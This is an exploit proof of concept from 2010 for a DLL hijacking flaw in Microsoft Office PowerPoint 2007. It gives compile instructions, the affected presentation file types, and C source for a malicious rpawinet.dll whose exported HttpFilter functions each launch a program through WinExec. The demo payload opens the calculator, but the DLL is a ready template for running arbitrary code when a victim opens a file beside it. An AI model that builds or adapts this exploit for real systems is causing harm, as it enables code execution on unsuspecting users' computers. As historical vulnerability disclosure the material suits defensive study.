Microsoft Office PowerPoint 2007 DLL Hijacking Exploit

`/*  
  
Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)  
Date: August 25, 2010  
Author: storm ([email protected])  
Version: 2007 (12.0.6535.5002) SP2  
Tested on: Windows Vista SP2  
  
http://www.gonullyourself.org/  
  
gcc -shared -o rpawinet.dll PowerPoint-DLL.c  
  
.odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected.  
  
*/  
  
#include <windows.h>  
#define DllExport __declspec (dllexport)  
  
DllExport void HttpFilterBeginningTransaction() { hax(); }  
DllExport void HttpFilterClose() { hax(); }  
DllExport void HttpFilterOnBlockingOps() { hax(); }  
DllExport void HttpFilterOnResponse() { hax(); }  
DllExport void HttpFilterOnTransactionComplete() { hax(); }  
DllExport void HttpFilterOpen() { hax(); }  
  
int hax()  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
  
`